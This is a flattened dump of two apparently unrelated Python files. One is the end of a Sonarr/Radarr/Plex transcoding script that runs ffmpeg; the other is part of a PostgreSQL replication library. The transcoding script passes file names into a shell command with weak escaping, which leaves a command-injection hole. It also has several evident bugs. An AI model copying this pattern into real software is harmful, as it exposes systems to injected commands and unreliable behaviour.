logging.critical(f'Received \'Unauthorized\' response from Radarr. Verify Credentials are accurate and try '
f'again')
print(f'Received \'Unauthorized\' response from Radarr. Verify Credentials are accurate and try '
f'again')
raise ConnectionRefusedError(r)
jds = json.loads(r.content)
RadarrCache = jds
return jds
def get_radarr_movie_paths():
radarr_get('movie')
path_list = list()
for movie in RadarrCache:
if movie['hasFile']:
mov_dir = movie['path']
file_path = mov_dir + '/' + movie['movieFile']['relativePath']
path_list.append(file_path)
return path_list
def notify_sonarr_of_series_update(series_id: int = None):
body: dict
if series_id is not None:
body = {"name": "RefreshSeries", 'seriesId': series_id}
else:
body = {"name": "RefreshSeries"}
json_body = json.dumps(body)
print("commanding sonarr to rescan")
r = requests.post(g_vars['SONARR_URL'] + "command" + '?apikey=' + g_vars['SONARR_API_KEY'], json_body)
print("response: {}".format(r.text))
def get_plex_sessions() -> int:
from plexapi.server import PlexServer
try:
plex = PlexServer(g_vars['PLEX_URL'], g_vars['PLEX_TOKEN'])
plex_sessions = plex.sessions()
return len(plex_sessions)
except Exception as ex:
logging.critical(ex)
print(ex)
raise ConnectionError()
def get_series_titles(json_input) -> dict:
title_list = {'key': 'title'}
for thing in json_input:
series_title = thing["title"]
series_id = thing["id"]
new_item = {series_title: series_id}
title_list.update(new_item)
return title_list
def get_series_episode_list(series_id):
qp = {'seriesId': '{}'.format(series_id)}
req = sonarr_get("episode", qp)
return req
def probe_video_file(file_path):
if not os.path.exists(file_path):
if parsed_args.verbose:
logging.debug(f'{file_path} does not exist')
return 0
try:
file_meta = ffmpeg.probe(file_path, analyzeduration='200M', probesize='200M')
except Exception as ex:
logging.error(ex)
print(ex)
return 1
else:
return file_meta
def get_series_file_paths(series_id):
ep_list = get_series_episode_list(series_id)
path_list = list()
for e in ep_list:
if e['hasFile']:
ep_file = e['episodeFile']['path']
path_list.append(ep_file)
return path_list
def get_master_file_path_list():
global P_Counter
global P_Limit
global SeriesCache
global RadarrCache
file_paths = list()
if not parsed_args.ignore_movies:
movie_paths = get_radarr_movie_paths()
if movie_paths is not None and len(movie_paths) > 0:
file_paths.extend(movie_paths)
for series in SeriesCache:
i = series['id']
series_file_paths = get_series_file_paths(i)
if series_file_paths is None or len(series_file_paths) < 1:
pass
else:
file_paths.extend(series_file_paths)
return file_paths
def process_file(file_path):
# double check the file
global P_Counter
global P_Limit
PROCESS_THIS = False
# limit check
if P_Limit != 0:
# if parsed_args.verbose == True:
# logging.debug("P_Count is {};; P_Limit is {}".format(P_Counter, P_Limit))
if P_Counter >= P_Limit:
if parsed_args.verbose:
print("limit exceeded, skipping")
return '-'
meta = probe_video_file(file_path)
if meta == 1 or meta == 0:
return None
# if container is not mp4 then we need to convert anyway
if re.search(".mp4$", file_path) is None:
PROCESS_THIS = True
if PROCESS_THIS == False and meta is not None:
streams = meta['streams']
for s in streams:
if s['codec_type'] == 'audio':
if s['codec_name'] != 'aac':
PROCESS_THIS = True
break
if s['codec_type'] == 'video':
if s['codec_name'] != 'h264':
PROCESS_THIS = True
break
if PROCESS_THIS:
if parsed_args.verbose:
logging.info(
"{} is candidate for processing (P_Count is {}, P_Limit is {})".format(file_path, P_Counter,
P_Limit))
(return_code, file_name) = convert_video_file(file_path)
if return_code == 0:
return 0, file_name
else:
# if not a candidate, return none
return None
def ffmpeg_argument_assembly(sanitized_file_name: str, json_file_meta, container_type: str):
arg_list = list()
arg_list.append("-y")
arg_list.append("-map 0")
arg_list.append("-copy_unknown")
arg_list.append('-analyzeduration 800M')
arg_list.append('-probesize 800M')
v_args = ffmpeg_video_conversion_argument(json_file_meta)
if v_args is not None:
arg_list.extend(v_args)
elif v_args is None:
arg_list.append('-vcodec copy')
a_args = ffmpeg_audio_conversion_argument(json_file_meta)
if a_args is not None:
arg_list.extend(a_args)
elif a_args is None:
arg_list.append('-acodec copy')
s_args = ffmpeg_subtitle_conversion_argument(json_file_meta, container_type)
if s_args is not None:
arg_list.extend(s_args)
t_args = ffmpeg_adaptive_thread_count_argument()
if t_args is not None:
arg_list.extend(t_args)
# if parsed_args.background is not None:
# argList.append(f'-threads {parsed_args.background}')
# force file overwrite
# argList.append("-map_metadata 0")
# add input file
# if parsed_args.verbose == True:
# logging.debug(f"v_args is {v_args}; a_args is {a_args}; file ends with .mp4 bools is
# {sanitizedFileName.endswith('.mp4')}")
if v_args is None and a_args is None and re.search(".mp4$|.mkv$", sanitized_file_name) is not None:
# if all three conditions are met, then we don't need to convert
return 2
separator = " "
if re.search(".mp4$|.mkv$", sanitized_file_name) is not None:
# assemble ffmpeg command with argument list and output file name
joined_arg_string = f"ffmpeg -i \'{sanitized_file_name}\' {separator.join(arg_list)} \'{sanitized_file_name + '.converting' + container_type}\' "
else:
joined_arg_string = f"ffmpeg -i \'{sanitized_file_name}\' {separator.join(arg_list)} \'{sanitized_file_name + '.converting.mkv'}\' "
# if parsed_args.verbose == True:
print(f'{joined_arg_string}')
logging.debug(joined_arg_string)
return joined_arg_string
def ffmpeg_adaptive_thread_count_argument() -> set:
avail_threads = os.cpu_count()
plex_clients = get_plex_sessions()
thread_args = set()
if parsed_args.adaptive:
if plex_clients == 0:
if parsed_args.background is None or parsed_args.background == 0:
thread_args.add(f'-threads {avail_threads - 1}')
return thread_args
else:
thread_args.add(f'-threads {parsed_args.background}')
return thread_args
elif 1 >= plex_clients > 0:
thread_args.add(f'-threads {avail_threads // 1.5}')
# if parsed_args.verbose:
# print(f'running with {(avail_threads // 1.5)} threads')
return thread_args
elif 2 >= plex_clients > 1:
thread_args.add(f'-threads {avail_threads // 2}')
# if parsed_args.verbose:
# print(f'running with {(avail_threads // 2)} threads')
return thread_args
elif plex_clients > 2:
thread_args.add(f'-threads {avail_threads // 3}')
# if parsed_args.verbose:
# print(f'running with {avail_threads // 3} threads')
return thread_args
else:
if parsed_args.background is None or parsed_args.background == 0:
return None
else:
thread_args.add(f'-threads {parsed_args.background}')
return thread_args
def ffmpeg_video_conversion_argument(json_file_meta):
# define the rules for video conversion here
try:
video_args = set()
streams = json_file_meta['streams']
for s in streams:
try:
if s['codec_type'] == 'video':
# currently only care about it being h264
# TODO: add resolution and fps
if s['codec_name'] != 'h264':
video_args.add('-vcodec h264')
fps: float
fps_frac = s['r_frame_rate']
if len(fps_frac) == 0:
fps = fps_frac
else:
split_frac = fps_frac.split('/')
fps = int(split_frac[0]) / int(split_frac[1])
if fps >= 32:
video_args.add('-framerate 24')
try:
if s['tags'] is not None:
if s['tags']['mimetype'] is not None:
if s['tags']['mimetype'] == 'image/jpeg':
video_args.add(f"-map -0:{s['index']}")
except Exception as ex:
pass
else:
pass
except Exception as ex:
logging.error(f"error processing video args: {ex}")
if len(video_args) == 0:
return None
else:
video_args.add('-vsync 2')
video_args.add('-r 24')
video_args.add('-max_muxing_queue_size 9999')
video_args.add('-preset slow')
return video_args
except Exception as ex:
logging.error(f"error processing video args: {ex}")
def ffmpeg_audio_conversion_argument(json_file_meta):
# define the rules for audio conversion here
try:
audio_args = set()
streams = json_file_meta['streams']
for s in streams:
if s['codec_type'] == 'audio':
# we want everything to be in 2 channel aac
if s['codec_name'] != 'aac':
audio_args.add("-acodec aac")
if s['channels'] != 2:
audio_args.add("-ac 2")
else:
pass
except Exception as ex:
logging.error(f"error processing audio args; error: {ex}")
otherargspresent: bool
if len(audio_args) == 0:
otherargspresent = False
else:
otherargspresent = True
try:
# if there are multiple audio streams, and one has language= english, then set it as the default stream for
# playback
audio_stream_list = list(
filter(lambda x: x['codec_type'] == 'audio' and x['tags']['language'] is not None, streams))
if len(audio_stream_list) > 1:
eng_streams = list(filter(lambda x: x['tags']['language'] == 'eng', audio_stream_list))
if len(eng_streams) > 1:
# look for "commentary in the list of english streams to weed out commentary tracks"
for s in eng_streams:
track_title = s['tags']['title']
if track_title is not None:
commentary = re.search("commentary", str(track_title), re.RegexFlag.IGNORECASE)
if commentary is not None:
eng_streams.remove(s)
if len(eng_streams) == 1:
# remove the default designation from all audio streams except our chosen one
remove_default_list = list(filter(lambda x: x['disposition']['default'] == 1, audio_stream_list))
try:
remove_default_list.remove(eng_streams[0])
except ValueError:
pass
if len(remove_default_list) >= 1:
for r in remove_default_list:
audio_args.add(f"-disposition:{r['index']} 0")
if eng_streams[0]['disposition']['default'] == 0:
audio_args.add(f"-disposition:{eng_streams[0]['index']} default")
except Exception as ex:
logging.error(ex)
if len(audio_args) == 0:
return None
if otherargspresent is False:
audio_args.add("-acodec copy")
return audio_args
def ffmpeg_subtitle_conversion_argument(json_file_meta, container_type: str):
# define the rules for audio conversion here
# if re.search(".mkv$", containerType) is None:
try:
subt_args = set()
streams = json_file_meta['streams']
for s in streams:
if s['codec_type'] == 'subtitle':
if s['codec_name'] == 'dvd_subtitle' or s['codec_name'] == 'hdmv_pgs_subtitle':
subt_args.add(f'-scodec copy')
# subt_args.add(f"-map -0:{s['index']}")
# remove subtitle stream mappings
# if s['channels'] != 2:
# subt_args.append("-ac 2")
# for now just copy subtitles
# if len(subt_args) == 0:
# tell it not to map subtitles, mp4 doesn't support them as streams anyway
# subt_args.append("-scodec copy")
else:
pass
return subt_args
except Exception as ex:
print(ex)
logging.error(f'error: {ex}')
def sani_string(s_input: str):
# splitString = sInput.split()
# outputString: str
# outputString = ""
# for e in splitString:
# outputString += e + "\ "
# outputString = outputString.strip()
# outputString = outputString.strip("\\")
# outputString = outputString.replace("\'", '\\' + "'")
# outputString = outputString.replace('\&', '\&\&')
# ampsplitstring = outputString.split('&')
# newOutputstring = ""
# for a in ampsplitstring:
# newOutputstring += a + '\\&'
# newOutputstring = newOutputstring.strip('\\&')
s_input = s_input.replace("\'", '\'' + "\\'" + "\'")
return s_input
def convert_video_file(file):
global P_Counter
sanitized_string = sani_string(file)
try:
conv_args: str
json_file_meta = probe_video_file(file)
if json_file_meta == 1 or json_file_meta == 0:
return 1
container_type: str
if re.search(".mp4$", sanitized_string) is not None:
container_type = ".mp4"
elif re.search(".mkv$", sanitized_string) is not None:
container_type = ".mkv"
else:
container_type = ".mkv"
conv_args = ffmpeg_argument_assembly(sanitized_string, json_file_meta, container_type)
if conv_args == 2:
# if parsed_args.verbose == True:
# logging.debug(f'{file} already meets criteria, skipping')
return 0
# if parsed_args.verbose == True:
# logging.debug(f'args: \n {conv_args} \n')
# new_args = conv_args.replace('&', '\&')
new_args = conv_args
# if parsed_args.verbose == True:
# logging.debug(f'args:: \\n {new_args} \\n')
conv_process: p = subprocess.Popen(new_args,
stdout=subprocess.PIPE,
shell=True)
(output, err) = conv_process.communicate()
print(output)
print(err)
logging.error(err)
p_status = conv_process.wait()
if conv_process.returncode == 0:
logging.info("success converting {}".format(file))
P_Counter = P_Counter + 1
elif conv_process.returncode == 1:
print(f"error converting {file}")
logging.error(f"error converting {file}")
try:
os.remove.file(sanitized_string + '.converting' + container_type)
if parsed_args.verbose:
print(f'cleaning up incomplete conversion file')
except Exception:
pass
P_Counter = P_Counter + 1
raise ChildProcessError
else:
print("return code is {}".format(conv_process.returncode))
P_Counter = P_Counter + 1
raise EnvironmentError
except Exception as ex:
print(ex)
logging.critical(ex)
return 1
else:
try:
# path is not literal, so we don't want the 'sanitized' version
if container_type == '.mkv' or container_type == '.mp4':
temp_file_name_unsanitized = file + '.converting' + container_type
else:
temp_file_name_unsanitized = file + '.converting.mkv'
if re.search(".mkv$", file):
new_file_name = file
shutil.move(temp_file_name_unsanitized, new_file_name)
if parsed_args.verbose:
print(f'moved {temp_file_name_unsanitized} over {new_file_name}')
logging.debug(f'moved {temp_file_name_unsanitized} over {new_file_name}')
elif re.search(".avi$", file):
new_file_name = file.strip(".avi")
new_file_name += ".mp4"
shutil.move(temp_file_name_unsanitized, new_file_name)
if parsed_args.verbose:
print(f'moved {temp_file_name_unsanitized} over {new_file_name}')
logging.debug(f'moved {temp_file_name_unsanitized} over {new_file_name}')
else:
shutil.move(temp_file_name_unsanitized, file)
if parsed_args.verbose:
print(f'moved {temp_file_name_unsanitized} over {file}')
logging.debug(f'moved {temp_file_name_unsanitized} over {file}')
return 0, temp_file_name_unsanitized
except Exception as ex:
logging.critical(f"error during post processing; internal error: {ex}")
print(f"error during post-processing; error: {ex}")
return 1
else:
if file != new_file_name:
os.remove(file) # THIS WILL REMOVE THE NEW ONE IF NEWFILE NAME AND OLDFILE NAME ARE THE SAME!!!!
if parsed_args.verbose:
print(f'deleting original file: {file}')
logging.debug(f'deleting original file: {file}')
logging.debug("completed processing of {}".format(file))
return 0, new_file_name
def find_episode_file_id_from_file_path(file_path: str):
for series in SeriesCache:
s_path = series['path']
if file_path.startswith(s_path):
ep_list = get_series_episode_list(series['id'])
for e in ep_list:
if e['hasFile']:
if e['episodeFile']['path'] == file_path:
return e['episodeFile']['id']
def scan_video_files(json_response):
for series in json_response:
i = series['id']
file_paths = get_series_file_paths(i)
if file_paths is None:
return
try:
for f in file_paths:
output_string = "{}".format(f)
meta = probe_video_file(f)
if meta == 1 or meta == 2:
pass
else:
streams = meta['streams']
for s in streams:
if s['codec_type'] == 'video':
output_string += "|video={}".format(s['codec_name'])
if s['codec_type'] == 'audio':
output_string += "|audio={}".format(s['codec_name'])
print(output_string)
except Exception as ex:
logging.exception(ex)
def refresh_cache(duration_seconds: int):
global lastCacheRefreshTime
cache_lifetime: timedelta
cache_lifetime = datetime.utcnow() - lastCacheRefreshTime
if cache_lifetime > timedelta(0, duration_seconds, 0):
sonarr_get("series")
radarr_get("movie")
lastCacheRefreshTime = datetime.utcnow()
return
else:
return
def notify_endpoints():
# notify sonarr to rescan
body = {"name": "RefreshSeries"}
sonarr_json_body = json.dumps(body)
r = requests.post(g_vars['SONARR_URL'] + "command" + '?apikey=' + g_vars['SONARR_API_KEY'], sonarr_json_body)
# notify radarr to rescan
radarr_body = {"name": "RescanMovie"}
radarr_json_body = json.dumps(radarr_body)
r = requests.post(g_vars['RADARR_URL'] + "command" + '?apikey=' + g_vars['RADARR_API_KEY'], radarr_json_body)
# TODO notify plex to refresh library
def worker(event_inst):
global P_Counter
global P_Limit
global lastCacheRefreshTime
logging.critical("testing from worker")
lastCacheRefreshTime = datetime.utcnow()
sonarr_get("series")
radarr_get("movie")
while not event_inst.isSet():
try:
refresh_cache(3600)
file_paths = get_master_file_path_list()
wcount = max(parsed_args.worker, 1)
with concurrent.futures.thread.ThreadPoolExecutor(max_workers=wcount) as executor:
for f in file_paths:
if not event_inst.isSet():
# if parsed_args.verbose == True:
# logging.debug("worker thread checking in")
executor.submit(worker_process, f)
if P_Limit != 0:
if P_Counter >= P_Limit:
event_inst.set()
else:
break
notify_endpoints()
event_inst.set()
except Exception as ex:
logging.error(ex)
def worker_process(file: str):
try:
should_run = is_allowed_to_run_determination()
while not should_run:
if parsed_args.verbose:
print('run criteria not met, waiting')
time.sleep(150)
# after the pause, check again to see if run restrictions are met
should_run = is_allowed_to_run_determination()
pass
(p, f) = process_file(file)
if p is not None:
if p == '-':
pass
elif p == 0:
# print(" RETURN 0 \n\n")
return 0, f
elif p == 1:
print(" RETURN 1 \n\n")
raise ChildProcessError
return 1
else:
pass
except Exception as ex:
logging.error(ex)
if parsed_args.verbose:
print(f"error while processing {file} \n error is {ex}")
def is_allowed_to_run_determination():
if parsed_args.offpeak:
time_factor = is_allowed_to_run_time()
if not time_factor:
print("waiting due to time restrictions")
return False
else:
pass
if parsed_args.plex:
# dont run if IsPlexBusy is true
plex_factor = (get_plex_sessions() > 0)
if plex_factor:
print("skipping due to plex client activity")
return False
else:
pass
# if nothing caused the check to fail, then give the green light to start processing
return True
def is_allowed_to_run_time():
if parsed_args.offpeak:
tz_la = pytz.timezone('America/Los_Angeles')
now_time = datetime.now(tz_la)
dow = now_time.isoweekday()
hr = now_time.hour
# if it's a weekday (mon-fri)
if 5 >= dow >= 1:
# define weekday time constraints here
if 17 >= hr >= 9:
# working hours
return True
elif 6 >= hr >= 0:
# sleeping hours
return True
elif 24 >= hr >= 22:
return True
else:
return False
# if it's the weekend: we expect video to be used during the day
# only run during the deep night
if 7 >= dow >= 6:
if 8 >= hr >= 0:
return True
elif 24 >= hr >= 22:
return True
else:
return False
# fall through return false just in case; should never get hit
return False
else:
# if we're not worried about time, then it's always allowed to run
return True
def try_load_config_file():
env_file = os.path.join(os.path.curdir, '.env')
data = dict()
if os.path.exists(env_file):
try:
with open(env_file) as f:
data = json.load(f)
except JSONDecodeError as ex:
logging.critical(f'unable to decode {env_file}', ex)
except Exception as exx:
logging.critical(f'error reading {env_file}', exx)
else:
for key in g_vars:
try:
if data[key] is not None:
g_vars[key] = data[key]
except:
# ignore error
pass
return
def main(op_args=None, *args):
global startTime
global parsed_args
if op_args is not None:
parsed_args = create_arg_parser().parse_args(['--verbose'].extend(args))
logging.basicConfig(
level=logging.WARNING,
format="%(asctime)s %(threadName)s %(lineno)d %(message)s"
)
else:
logging.basicConfig(
level=logging.WARNING,
format="%(asctime)s %(threadName)s %(lineno)d %(message)s",
filename="../sonarr_trans_log.log"
)
# logging.critical("initializing")
P_Counter = 0
P_Limit = 0
startTime = datetime.utcnow()
logging.debug(parsed_args)
# load secrets from .env file:
try_load_config_file()
if parsed_args.limit is not None:
if parsed_args.limit != 0:
P_Limit = parsed_args.limit
# try:
# # except Exception as ex:
# # logging.basicConfig(
# # level=logging.debug,
# # format="%(asctime)s %(threadName)s %(lineno)d %(message)s"
# # )
# except Exception as ex:
# print(ex)
# logging.critical(ex)
if parsed_args.verbose:
print("verbose mode on")
logging.debug("Initilizing with P_Count: {};; P_Limit: {}".format(P_Counter, P_Limit))
if op_args is not None and os.path.exists(op_args):
(r_code, new_name) = worker_process(str(Path(Path(op_args)).absolute()))
return 0, new_name
elif op_args is not None:
return 1
else:
event = threading.Event()
thread = threading.Thread(target=worker, args=(event,))
# thread_two = threading.Thread(target=worker, args=(event,))
thread.start()
# thread_two.start()
while not event.isSet():
try:
elapsedTime = datetime.utcnow() - startTime
if parsed_args.verbose:
print(f'elapsed time is {elapsedTime}')
# stop after 1 day to prevent zombie processes
if elapsedTime > timedelta(3):
break
event.wait(300)
except KeyboardInterrupt:
event.set()
break
# if parsed_args.notify == True:
# notify_sonarr_of_series_update()
# else:
# main()
# pass
if __name__ == "__main__":
arg_parser = create_arg_parser()
parsed_args = arg_parser.parse_args(sys.argv[1:])
main()
|
pg_lib.py | import io
import psycopg2
from psycopg2 import sql
from psycopg2.extras import RealDictCursor
import sys
import json
import datetime
import decimal
import time
import os
import binascii
from distutils.sysconfig import get_python_lib
import multiprocessing as mp
class pg_encoder(json.JSONEncoder):
def default(self, obj):
if isinstance(obj, datetime.time) or \
isinstance(obj, datetime.datetime) or \
isinstance(obj, datetime.date) or \
isinstance(obj, decimal.Decimal) or \
isinstance(obj, datetime.timedelta) or \
isinstance(obj, set) or\
isinstance(obj, frozenset) or\
isinstance(obj, bytes):
return str(obj)
return json.JSONEncoder.default(self, obj)
class pgsql_source(object):
def __init__(self):
"""
Class constructor, the method sets the class variables and configure the
operating parameters from the args provided t the class.
"""
self.schema_tables = {}
self.schema_mappings = {}
self.schema_loading = {}
self.schema_list = []
self.schema_only = {}
def __del__(self):
"""
Class destructor, tries to disconnect the postgresql connection.
"""
pass
def __set_copy_max_memory(self):
"""
The method sets the class variable self.copy_max_memory using the value stored in the
source setting.
"""
copy_max_memory = str(self.source_config["copy_max_memory"])[:-1]
copy_scale = str(self.source_config["copy_max_memory"])[-1]
try:
int(copy_scale)
copy_max_memory = self.source_config["copy_max_memory"]
except:
if copy_scale =='k':
copy_max_memory = str(int(copy_max_memory)*1024)
elif copy_scale =='M':
copy_max_memory = str(int(copy_max_memory)*1024*1024)
elif copy_scale =='G':
copy_max_memory = str(int(copy_max_memory)*1024*1024*1024)
else:
print("**FATAL - invalid suffix in parameter copy_max_memory (accepted values are (k)ilobytes, (M)egabytes, (G)igabytes.")
sys.exit(3)
self.copy_max_memory = copy_max_memory
def __init_sync(self):
"""
The method calls the common steps required to initialise the database connections and
class attributes within sync_tables,refresh_schema and init_replica.
"""
self.source_config = self.sources[self.source]
self.out_dir = self.source_config["out_dir"]
self.copy_mode = self.source_config["copy_mode"]
self.pg_engine.lock_timeout = self.source_config["lock_timeout"]
self.pg_engine.grant_select_to = self.source_config["grant_select_to"]
self.source_conn = self.source_config["db_conn"]
self.__set_copy_max_memory()
db_object = self.__connect_db( auto_commit=True, dict_cursor=True)
self.pgsql_conn = db_object["connection"]
self.pgsql_cursor = db_object["cursor"]
self.pg_engine.connect_db()
self.schema_mappings = self.pg_engine.get_schema_mappings()
self.pg_engine.schema_tables = self.schema_tables
def __connect_db(self, auto_commit=True, dict_cursor=False):
"""
Connects to PostgreSQL using the parameters stored in self.dest_conn. The dictionary is built using the parameters set via adding the key dbname to the self.pg_conn dictionary.
This method's connection and cursors are widely used in the procedure except for the replay process which uses a
dedicated connection and cursor.
:return: a dictionary with the objects connection and cursor
:rtype: dictionary
"""
if self.source_conn:
strconn = "dbname=%(database)s user=%(user)s host=%(host)s password=%(password)s port=%(port)s connect_timeout=%(connect_timeout)s" % self.source_conn
pgsql_conn = psycopg2.connect(strconn)
pgsql_conn .set_client_encoding(self.source_conn["charset"])
if dict_cursor:
pgsql_cur = pgsql_conn .cursor(cursor_factory=RealDictCursor)
else:
pgsql_cur = pgsql_conn .cursor()
self.logger.debug("Changing the autocommit flag to %s" % auto_commit)
pgsql_conn.set_session(autocommit=auto_commit)
elif not self.source_conn:
self.logger.error("Undefined database connection string. Exiting now.")
sys.exit()
return {'connection': pgsql_conn, 'cursor': pgsql_cur }
def __export_snapshot(self, queue):
"""
The method exports a database snapshot and stays idle in transaction until a message from the parent
process tell it to exit.
The method stores the snapshot id in the queue for the parent's usage.
:param queue: the queue object used to exchange messages between the parent and the child
"""
self.logger.debug("exporting database snapshot for source %s" % self.source)
sql_snap = """
BEGIN TRANSACTION ISOLATION LEVEL REPEATABLE READ;
SELECT pg_export_snapshot();
"""
db_snap = self.__connect_db(False)
db_conn = db_snap["connection"]
db_cursor = db_snap["cursor"]
db_cursor.execute(sql_snap)
snapshot_id = db_cursor.fetchone()[0]
queue.put(snapshot_id)
continue_loop = True
while continue_loop:
continue_loop = queue.get()
time.sleep(5)
db_conn.commit()
def __build_table_exceptions(self):
"""
The method builds two dictionaries from the limit_tables and skip tables values set for the source.
The dictionaries are intended to be used in the get_table_list to cleanup the list of tables per schema.
The method manages the particular case of when the class variable self.tables is set.
In that case only the specified tables in self.tables will be synced. Should limit_tables be already
set, then the resulting list is the intersection of self.tables and limit_tables.
"""
self.limit_tables = {}
self.skip_tables = {}
limit_tables = self.source_config["limit_tables"]
skip_tables = self.source_config["skip_tables"]
if self.tables !='*':
tables = [table.strip() for table in self.tables.split(',')]
if limit_tables:
limit_tables = [table for table in tables if table in limit_tables]
else:
limit_tables = tables
self.schema_only = {table.split('.')[0] for table in limit_tables}
if limit_tables:
table_limit = [table.split('.') for table in limit_tables]
for table_list in table_limit:
list_exclude = []
try:
list_exclude = self.limit_tables[table_list[0]]
list_exclude.append(table_list[1])
except KeyError:
list_exclude.append(table_list[1])
self.limit_tables[table_list[0]] = list_exclude
if skip_tables:
table_skip = [table.split('.') for table in skip_tables]
for table_list in table_skip:
list_exclude = []
try:
list_exclude = self.skip_tables[table_list[0]]
list_exclude.append(table_list[1])
except KeyError:
list_exclude.append(table_list[1])
self.skip_tables[table_list[0]] = list_exclude
def __get_table_list(self):
"""
The method pulls the table list from the information_schema.
The list is stored in a dictionary which key is the table's schema.
"""
sql_tables="""
SELECT
table_name
FROM
information_schema.TABLES
WHERE
table_type='BASE TABLE'
AND table_schema=%s
;
"""
for schema in self.schema_list:
self.pgsql_cursor.execute(sql_tables, (schema, ))
table_list = [table["table_name"] for table in self.pgsql_cursor.fetchall()]
try:
limit_tables = self.limit_tables[schema]
if len(limit_tables) > 0:
table_list = [table for table in table_list if table in limit_tables]
except KeyError:
pass
try:
skip_tables = self.skip_tables[schema]
if len(skip_tables) > 0:
table_list = [table for table in table_list if table not in skip_tables]
except KeyError:
pass
self.schema_tables[schema] = table_list
def __create_destination_schemas(self):
"""
Creates the loading schemas in the destination database and associated tables listed in the dictionary
self.schema_tables.
The method builds a dictionary which associates the destination schema to the loading schema.
The loading_schema is named after the destination schema plus with the prefix _ and the _tmp suffix.
As postgresql allows, by default up to 64 characters for an identifier, the original schema is truncated to 59 characters,
in order to fit the maximum identifier's length.
The mappings are stored in the class dictionary schema_loading.
"""
for schema in self.schema_list:
destination_schema = self.schema_mappings[schema]
loading_schema = "_%s_tmp" % destination_schema[0:59]
self.schema_loading[schema] = {'destination':destination_schema, 'loading':loading_schema}
self.logger.debug("Creating the schema %s." % loading_schema)
self.pg_engine.create_database_schema(loading_schema)
self.logger.debug("Creating the schema %s." % destination_schema)
self.pg_engine.create_database_schema(destination_schema)
def __get_table_metadata(self, table, schema):
"""
The method builds the table's metadata querying the information_schema.
The data is returned as a dictionary.
:param table: The table name
:param schema: The table's schema
:return: table's metadata as a cursor dictionary
:rtype: dictionary
"""
sql_metadata="""
SELECT
col.attname as column_name,
(
SELECT
pg_catalog.pg_get_expr(def.adbin, def.adrelid)
FROM
pg_catalog.pg_attrdef def
WHERE
def.adrelid = col.attrelid
AND def.adnum = col.attnum
AND col.atthasdef
) as column_default,
col.attnum as ordinal_position,
CASE
WHEN typ.typcategory ='E'
THEN
'enum'
WHEN typ.typcategory='C'
THEN
'composite'
ELSE
pg_catalog.format_type(col.atttypid, col.atttypmod)
END
AS type_format,
(
SELECT
pg_get_serial_sequence(format('%%I.%%I',tabsch.nspname,tab.relname), col.attname) IS NOT NULL
FROM
pg_catalog.pg_class tab
INNER JOIN pg_catalog.pg_namespace tabsch
ON tab.relnamespace=tabsch.oid
WHERE
tab.oid=col.attrelid
) as col_serial,
typ.typcategory as type_category,
CASE
WHEN typ.typcategory='E'
THEN
(
SELECT
string_agg(quote_literal(enumlabel),',')
FROM
pg_catalog.pg_enum enm
WHERE enm.enumtypid=typ.oid
)
WHEN typ.typcategory='C'
THEN
(
SELECT
string_agg(
format('%%I %%s',
attname,
pg_catalog.format_type(atttypid, atttypmod)
)
,
','
)
FROM
pg_catalog.pg_attribute
WHERE
attrelid=format(
'%%I.%%I',
sch.nspname,
typ.typname)::regclass
)
END AS typ_elements,
col.attnotnull as not_null
FROM
pg_catalog.pg_attribute col
INNER JOIN pg_catalog.pg_type typ
ON col.atttypid=typ.oid
INNER JOIN pg_catalog.pg_namespace sch
ON typ.typnamespace=sch.oid
WHERE
col.attrelid = %s::regclass
AND NOT col.attisdropped
AND col.attnum>0
ORDER BY
col.attnum
;
;
"""
tab_regclass = '"%s"."%s"' % (schema, table)
self.pgsql_cursor.execute(sql_metadata, (tab_regclass, ))
table_metadata=self.pgsql_cursor.fetchall()
return table_metadata
def __create_destination_tables(self):
"""
The method creates the destination tables in the loading schema.
The tables names are looped using the values stored in the class dictionary schema_tables.
"""
for schema in self.schema_tables:
table_list = self.schema_tables[schema]
for table in table_list:
table_metadata = self.__get_table_metadata(table, schema)
self.pg_engine.create_table(table_metadata, table, schema, 'pgsql')
def __drop_loading_schemas(self):
"""
The method drops the loading schemas from the destination database.
The drop is performed on the schemas generated in create_destination_schemas.
The method assumes the class dictionary schema_loading is correctly set.
"""
for schema in self.schema_loading:
loading_schema = self.schema_loading[schema]["loading"]
self.logger.debug("Dropping the schema %s." % loading_schema)
self.pg_engine.drop_database_schema(loading_schema, True)
def __copy_data(self, schema, table, db_copy):
sql_snap = """
BEGIN TRANSACTION ISOLATION LEVEL REPEATABLE READ;
SET TRANSACTION SNAPSHOT %s;
"""
out_file = '%s/%s_%s.csv' % (self.out_dir, schema, table )
loading_schema = self.schema_loading[schema]["loading"]
from_table = '"%s"."%s"' % (schema, table)
to_table = '"%s"."%s"' % (loading_schema, table)
db_conn = db_copy["connection"]
db_cursor = db_copy["cursor"]
if self.snapshot_id:
db_cursor.execute(sql_snap, (self.snapshot_id, ))
self.logger.debug("exporting table %s.%s in %s" % (schema , table, out_file))
copy_file = open(out_file, 'wb')
db_cursor.copy_to(copy_file, from_table)
copy_file.close()
self.logger.debug("loading the file %s in table %s.%s " % (out_file, loading_schema , table, ))
copy_file = open(out_file, 'rb')
self.pg_engine.pgsql_cur.copy_from(copy_file, to_table)
copy_file.close()
db_conn.commit()
try:
os.remove(out_file)
except:
pass
def __create_indices(self):
"""
The method loops over the tables, queries the origin's database and creates the same indices
on the loading schema.
"""
db_copy = self.__connect_db(False)
db_conn = db_copy["connection"]
db_cursor = db_copy["cursor"]
sql_get_idx = """
SELECT
CASE
WHEN con.conname IS NOT NULL
THEN
format('ALTER TABLE %%I ADD CONSTRAINT %%I %%s ;',tab.relname,con.conname,pg_get_constraintdef(con.oid))
ELSE
format('%%s ;',regexp_replace(pg_get_indexdef(idx.oid), '("?\w+"?\.)', ''))
END AS ddl_text,
CASE
WHEN con.conname IS NOT NULL
THEN
format('primary key on %%I',tab.relname)
ELSE
format('index %%I on %%I',idx.relname,tab.relname)
END AS ddl_msg,
CASE
WHEN con.conname IS NOT NULL
THEN
True
ELSE
False
END AS table_pk
FROM
pg_class tab
INNER JOIN pg_namespace sch
ON
sch.oid=tab.relnamespace
INNER JOIN pg_index ind
ON
ind.indrelid=tab.oid
INNER JOIN pg_class idx
ON
ind.indexrelid=idx.oid
LEFT OUTER JOIN pg_constraint con
ON
con.conrelid=tab.oid
AND idx.oid=con.conindid
WHERE
(
contype='p'
OR contype IS NULL
)
AND tab.relname=%s
AND sch.nspname=%s
;
"""
for schema in self.schema_tables:
table_list = self.schema_tables[schema]
for table in table_list:
loading_schema = self.schema_loading[schema]["loading"]
destination_schema = self.schema_loading[schema]["destination"]
self.pg_engine.pgsql_cur.execute('SET search_path=%s;', (loading_schema, ))
